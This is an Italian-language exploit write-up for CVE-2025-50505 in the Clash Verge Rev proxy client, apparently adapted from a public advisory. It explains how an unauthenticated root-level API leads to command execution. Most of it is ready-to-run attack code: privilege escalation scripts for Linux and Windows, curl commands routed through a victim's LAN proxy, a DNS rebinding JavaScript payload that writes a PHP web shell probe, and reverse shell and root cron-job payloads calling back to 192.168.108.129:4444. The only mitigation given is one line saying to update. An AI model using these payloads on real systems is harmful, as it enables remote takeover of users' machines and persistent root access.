
Exploit per CVE-2025-50505 in Clash Verge Rev, che dimostra l'escalation locale dei privilegi e l'esecuzione remota di codice tramite API non autenticata, incluse tecniche di DNS rebinding e reverse shell.
API non autorizzata porta all'esecuzione arbitraria di comandi e all'escalation dei privilegi in Clash Verge Rev
La vulnerabilità deriva da un endpoint API non autenticato esposto dal componente clash-verge-service, che viene installato con privilegi elevati per impostazione predefinita. Questa falla consente agli aggressori di eseguire comandi arbitrari, portando a due scenari di attacco principali: Escalation Locale dei Privilegi (LPE) sulla macchina host ed Esecuzione Remota di Codice (RCE) in condizioni specifiche.
Il vettore RCE può essere sfruttato da aggressori sulla stessa rete locale (LAN) se l'utente ha abilitato le connessioni LAN. Più criticamente, può essere sfruttato da Internet pubblico combinando la vulnerabilità con un attacco DNS Rebinding, consentendo agli aggressori di bypassare le policy di sicurezza del browser ed eseguire comandi sulla macchina della vittima semplicemente facendole visitare un sito web malevolo.
L'avviso pubblico iniziale di questa vulnerabilità è stato fornito da @KawaiiZapic su X.
Il componente clash-verge-service viene eseguito con privilegi elevati (root o SYSTEM) ed espone un'API HTTP non autenticata su 127.0.0.1:33211. La vulnerabilità risiede nell'endpoint /start_clash, che accetta un payload JSON per controllare l'avvio del processo del core Mihomo.
Il servizio costruisce ed esegue un comando basato su diversi parametri di questo payload, seguendo una struttura simile a:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Fondamentalmente, tutti e quattro i parametri—bin_path, config_dir, config_file e log_file—sono completamente controllabili dall'aggressore. Sebbene Rust fornisca una protezione intrinseca contro l'iniezione di comandi classica (ad es. usando ; o | per concatenare comandi), il controllo dell'aggressore sull'intera struttura del comando consente un attacco in due fasi per ottenere l'esecuzione arbitraria di codice.
/start_clashclash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() chiama start_mihomo() e start_mihomo() chiama la funzione process::spawn_process(bin_path, &args, log) passando bin_path. spawn_process() chiama std::Command::new(command) per eseguire il comandoclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

La vulnerabilità può essere elevata a RCE in due scenari.
Se un utente abilita l'opzione "Allow LAN" (connessione LAN) all'interno del client Clash Verge Rev, il server proxy dell'applicazione diventa accessibile a tutti i dispositivi sulla stessa rete locale. Un aggressore sulla stessa LAN può sfruttare questo aspetto indirizzando la propria richiesta malevola attraverso il proxy esposto della vittima.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Un attacco più avanzato può essere eseguito da Internet senza richiedere l'accesso alla LAN. La catena di attacco sfrutta il DNS Rebinding in combinazione con uno specifico comportamento del browser noto come exploit "0.0.0.0-day".
La chiave di questo attacco è che Firefox e alcune versioni di Chromium trattano l'indirizzo IP 0.0.0.0 come un alias di 127.0.0.1. Ciò consente a un aggressore di bypassare le funzionalità di sicurezza dei browser moderni come la Same-Origin Policy (SOP) e il Private Network Access (PNA).
Il flusso dell'attacco è il seguente:
attacker.com).attacker.com verso il suo vero indirizzo IP pubblico. La pagina malevola si carica nel browser della vittima.attacker.com in 0.0.0.0 con un TTL molto breve.attacker.com e ora riceve 0.0.0.0.127.0.0.1 sulla macchina della vittima.Poiché l'origine della richiesta è ancora attacker.com, lo script bypassa con successo le restrizioni di sicurezza e comunica direttamente con l'API vulnerabile di clash-verge-service su 127.0.0.1:33211, ottenendo l'esecuzione remota di codice.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Sostituire la sonda PHP con qualsiasi linguaggio di scripting che supporti i marcatori di confine. Se si desidera ottenere una shell root, fare riferimento alla sezione successiva e modificare il payload.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

Nota: quando si personalizza Content-Type su application/json, non impostare no-cors. First then second è una modalità di DNS rebinding più lenta ma più stabile. Si può anche scegliere multiple answers, ma questa potrebbe essere mitigata da alcuni server DNS pubblici, causando il fallimento dell'attacco.
MacOS e alcuni sistemi Linux (ad es. Kali) hanno zsh installato, che consente di eseguire script con -d e -f.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OPPURE IMPOSTARE UN CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
bin_path direttamente su uno script (ad es. evil.sh) fallirà. Questo perché, senza uno shebang (#!/bin/bash), il sistema operativo sottostante non può determinare quale interprete usare. Anche tentare di chiamarlo esplicitamente tramite bash evil.sh fallirebbe, poiché l'argomento -d passato dal servizio verrebbe interpretato da bash stesso come un'opzione non valida.let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Grazie a @Esonhugh per aver suggerito che zsh può essere usato per eseguire comandi con successo in queste condizioni.
Aggiornare all'ultima versione.